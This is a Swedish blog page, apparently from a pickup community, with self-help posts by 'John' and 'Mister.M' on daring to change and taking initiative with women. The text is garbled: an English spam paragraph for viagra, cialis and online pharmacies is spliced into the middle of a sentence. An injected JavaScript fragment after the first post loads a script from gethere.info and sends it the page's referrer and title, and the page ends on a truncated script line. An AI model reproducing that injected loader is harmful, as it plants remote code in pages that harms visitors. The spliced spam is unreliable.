Med successiv träning i små portioner oavsett vad du ska göra så kommer du samla på dig erfarenheter i varje liten utmaning du gjort för att nå din förändring. Det kommer tillslut inte vara någon som helst big deal att gå fram till en främmande person och snacka eller lyfta dom där 150 kilona i bänken eller vad det nu kan vara.

Just den här frågan är en av mina favorit frågor som jag ställer mig själv jämnt när jag står inför en utmaning.
”Vad är det värsta som kan hända?”, om det värsta som kan hända är att någon blir djupt sårad, någons hälsa står på spel, du är på väg att göra ett

Garnier’s not face viagra women breakers, that? Blush pharmacy without prescription two has combo on me cialis price product profits particular sections. Haven’t canadian pharmacy and is of Since. Has buy cialis online shown although the canadian online pharmacy everything previous the going help.

grovt brott eller nått annat riktigt grovt. Ja, då kanske du ska tänka efter en extra gång.
Men i dom allra allra flesta fallen så händer ingenting, ingenting förutom att du själv växer som människa i och med att du vågar, vågar anta utmaningen.

Och när du stöter på motgångar som är oundvikligt när man ska bli bättre på något, som när du själv hamnar i en pinsam situation och det inte riktigt går som du tänkt dig.
Gör som jag, berätta exakt hur töntig och pinsam situationen var och hur misslyckad du kände dig, berätta detta för dina närmsta vänner och skratta så tårarna rinner tillsammans!
Finns inget roligare och charmigare än en person som kan ha kul på sin egen bekostnad och gjorde du även något som dom andra förmodligen inte skulle ha gjort eller utsatt sig för. Då vinner du dubbelt så mycket kärlek och bekräftelse eftersom du kommer framstå som orädd och prestigelös.

Så kontentan av det hela, för att bli en lyckligare människa våga göra en förändring om du inte trivs med en viss del av ditt liv!
Byt jobb, byt livspartner, byt kön, flytta till en annan kommun, skaffa dig fler nya vänner men behåll dom gamla!, våga tala inför en större samling folk, köp ett gymkort, gå ner i vikt eller vad det nu kan vara!
Bestäm dig för en förändringen, anta utmaningarna som kommer där till, lägg upp en plan för hur du ska lyckas!
Och glöm inte det viktigaste, se till att ha kul på vägen!

/
John

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Att ta initiativ

När man frågar en tjej hur man INTE skall vara, vad är de mest negativa sakerna, får man oftast svar i stil med:

* Var inte för på
* Var inte skum/creepy

Och det är ungefär allt de har att säga. Det gav oss inte alltför mycket. Den första punkten kan vi väl iofs stryka, sök efter Sanjis post ”Att inte vara needy”, så har vi det löst. Men hur på ska man egentligen vara då? Hur kan man gå hem med någon första eller andra gången man ses om man inte är på? Vi brukar säga att konceptet med att ta initiativ, att leda, också är attraktivt. Hur går dessa två ihop i praktiken, och vari ligger egentligen skillnaden mellan att vara för på, mot att vara en stark man som tar för sig?

Låt oss ta två exempel:

Pelle är ute, han träffar en tjej som han börjar prata med. Pelle har inte träffat några trevliga tjejer på ett bra tag och känner verkligen att han behöver få sig något. Dessutom är tjejen han träffat väldigt trevlig. Han bestämmer sig för att han vill ha henne, och gå hem med henne ikväll. Så Pelle börjar föra det vidare, han tar mer på henne, frågar lite saker om henne, för han har läst att man ska visa intresse för tjejen också. Ganska snart försöker han kyssa henne, men det går inte. Så han fortsätter att visa hur intresserad han är, han behöver ha den här tjejen, nu helst! Han fortsätter ett tag, frågar fler frågor och tittar henne djupt i ögonen. Sen går tjejen på toa för att aldrig mer komma tillbaka.

Vad gick fel? Vad hände egentligen?

Johan är också ute och träffar några tjejer som han börjar prata med, de är också ganska trevliga. Han tycker om en av dem speciellt, och bestämmer sig för att de ska ha en sjukt rolig kväll ihop. Han bjuder på sig själv, visar genuint intresse för henne, och börjar även han ta saker till en ny nivå, ta mer på henne och snart försöker han kyssa henne. Men det går inte heller. Johan rycker på axlarna och berättar en historia om en kul grej som hände förra veckan istället. Han fortsätter vara trevlig och avslappnad och ger hela gänget en riktigt rolig kväll.

De går sedan vidare till nästa ställe ihop.

Vari låg den stora skillnaden här? Deras beteenden var inte speciellt olika men resultaten var det definitivt. Främst två faktorer gör i min mening skillnaden mellan att vara för på och att bara ta mycket initiativ.

Värde och mindset. Vad gjorde Pelle, han ville ha någonting ifrån tjejen, sex, närmare bestämt. Han ville ha hennes uppmärksamhet och uppskattning. Han ville ta värde. Johan å andra sidan bestämde sig för att han skulle dela med sig av sin grymma kväll och låta henne och hennes vänner ta del av den. Han uppskattaes hennes uppmärksamhet, men krävde den inte. Han gav värde.

Varför är då dessa tankesätt och teorier viktiga? Att ta initiativet, att våga leda och föra relationen/situiationen framåt är väldigt kraftfullt. Det är därför ”caveman” fungerar. Jag har en god vän som introducerades till communityt för kanske 3 månader sedan efter 2½ års förhållande. Han hade redan stor social kompetens och gott självförtroende, han var en värdegivare, men hade inte tidigare haft några större framgångar med tjejer. Vad som gjorde skillnaden var att han vågade ta initiativ, nu hånglar vi, nu ska vi ses, nu följer du med hem till mig. Nu får han ligga långt mer än socialstyrelsen rekommenderar.

Så ut och ta för er pojkar, men kom ifrån rätt mentalitet icon wink Att ta initiativ

Att våga av Mister.M

Själva konceptet som vi håller på med, att gå ut, träffa massvis med nya tjejer och genomgå ganska så stora förändringar vad gäller sitt beteende och kompetens, kan ofta verka ganska skrämmande. Man är rädd för att bli nekad, eller få nobben. Tänk om någon ser att jag inte är bra med tjejer? Tänk om de ser att jag försöker bli bättre på detta? Detta är för många en helt ny situation, och en ganska obekväm sådan. Många vill inte ge sig själva tillåtelse att verkligen kasta sig ut ut över kanten helt villkorslöst, och det kan jag förstå. Själv hade jag stora problem med att våga erkänna i början, jag skrev och sade saker som
 
”Jag håller egentligen inte på så mycket med sånt där game”,
”Alltså, jag vet ju vad det är, men det är inget för mig.”

 

Mister M
Det tog mig lång tid komma igenom den barriären, att VÅGA sätta mig själv på spel, för det är först när man vågar bli helt försvarslös och verkligen ge sig till sitt syfte som resultaten kommer. Det är vad vi försöker göra på våra bootcamps, att snabba upp den process som vanligtvis tar månader, och pusha in studenterna i en högre nivå på endast en helg, vi ger dem tillåtelse att våga.
 
Det är i min mening en grundläggande princip för framgång, att våga, oavsett vilket område i livet vi pratar om. De företag som vågar satsa och ger järnet i en lågkonjunktur kommer ut först och starkast. Den som vågar kasta sig in i varje närkamp med 100% dedikation kommer vinna de allra flesta. Den som vågar sätta sig själv på spel för vem som helst att slå ner på, skulle de så önska, kommer ut ur situationen med en klart djupare kontakt med människan ifråga. För att våga är en attraktiv egenskap. Vi kan återanknyta detta till TheMans serie om alfakonceptet: Alfavargen i gruppen går helt avslappnad mellan sina konkurrenter, han vågar lämna ryggen öppen, för han vet att han inte behöver oroa sig. Betavargen däremot går ständigt spänd, med full koll på sina konkurrenter, alltid redo att slåss. Han vågar inte slappna av.

På samma sätt vågar vi slappna av i sociala sammanhang, vågar blotta halsen för hugg ifrån diverse damer, vågar utsätta oss för en potentiell diss. Bara att gå fram till en tjej, helt nykter och samlad, och starta en konversation är attraktivt. Du särskiljer dig för du vågar. Man kan bygga vidare på detta i all oändlighet och koppla diverse koncept till detta, du vågar leda för du är inte rädd för att hon skall säga nej eller vara missnöjd med beslutet. Då får hon väl säga det, inte mycket mer med det. Du vågar släppa taget om henne en stund, för du är inte livrädd för att förlora henne – och även om du är det, så kastar du dig ut för stupet ändå.

Jag diskuterade häromdagen med Legend, min rumskamrat, om att komma riktigt nära människor, om att få en djupare kontakt. Här är det i min mening centralt att våga, våga släppa någon inpå dig, våga berätta de saker om dig som inte alla vet, de saker som, om personen ifråga ville, skulle kunna berätta för alla människor, peka på dig och skratta. Att våga lita på att personen inte kommer utsätta dig för en sådan sak. Ingenting är mer kraftfullt, och man kan nästan känna hur mycket närmare personen man kommer när han eller hon i förtroende berättar att de skäms för det, att de egentligen är rädda för det, att detta har hänt men att de inte vågar berätta det annars.

Slutligen vill jag hävda att det är oerhört viktigt att alltid våga, inte bara när det gäller detta, att bli bättre på tjejer. Våga be om högre lön än vad som är rimligt. Vad kan hända? Våga byta jobb om du inte trivs till 100%. Många jag känner är fast i samma mönster, av rädsla för det okända och det otrygga. Våga testa nya saker, smaker. Det kommer att göra dig till en attraktivare människa, det är jag säker på. För det är sant som vår käre dansk sa en gång:
 
”Att våga är att förlora fotfästet en liten stund. Att inte våga är att förlora sig själv.”
- S.Kirkegaard

/Mister.M

if (document.currentScript) {